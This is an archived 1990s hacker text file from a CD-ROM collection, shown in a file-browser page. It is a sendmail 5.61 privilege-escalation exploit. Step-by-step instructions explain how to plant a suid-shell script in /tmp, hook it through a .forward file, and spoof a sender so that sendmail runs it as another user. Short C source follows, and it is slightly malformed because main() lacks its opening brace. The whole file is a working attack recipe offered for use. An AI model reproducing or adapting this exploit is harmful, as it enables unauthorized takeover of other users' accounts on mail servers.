home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 (Alt) / The_Hacker_Chronicles_Volume_II-CD2.iso / hack / sendmail.bug < prev    next >
Encoding:
Text File  |  1995-01-03  |  1.0 KB  |  40 lines

  1. Fuckin sendmail 5.61 -
  2.  
  3. #define MYUID to be your uid at the top of the program. make a file /tmp/x,
  4. which is a script to make a suid shell compile the prog, call it say
  5. /tmp/yo put in your .forward file:
  6.  
  7. "|/tmp/yo"F
  8.  
  9. now connect 2 the smtp port, and send urself mail FROM whomever you want
  10. the shell as (anyone except root). Wait a bit (maybe up 2 an hour - depends
  11. how often the sendmail runs un the queue).  Type mailq every so often (or
  12. /usr/lib/sendmail -bq).  You will see your entry in the queue, before its
  13. flushed.  It usually works, but sometimes it doesn't - you just gotta keep
  14. your fingers crossed!
  15.  
  16.  
  17. #define MYUID 123   /* change this!! */
  18.  
  19. #include <sys/param.h>
  20. #include <sys/types.h>
  21. #include <stdio.h>
  22. #include <sysexits.h>
  23. #include <pwd.h>
  24. #include <grp.h>
  25.  
  26. #define OURFILE    "/tmp/x"
  27.  
  28. main()
  29. int myuid, rval;
  30. if ((myuid = getuid()) == MYUID)
  31. rval = EX_TEMPFAIL;
  32. else {
  33. rval = EX_OK;
  34. system(OURFILE);
  35. }
  36. exit(rval);
  37. }
  38.  
  39. Downloaded From P-80 International Information Systems 304-744-2253
  40.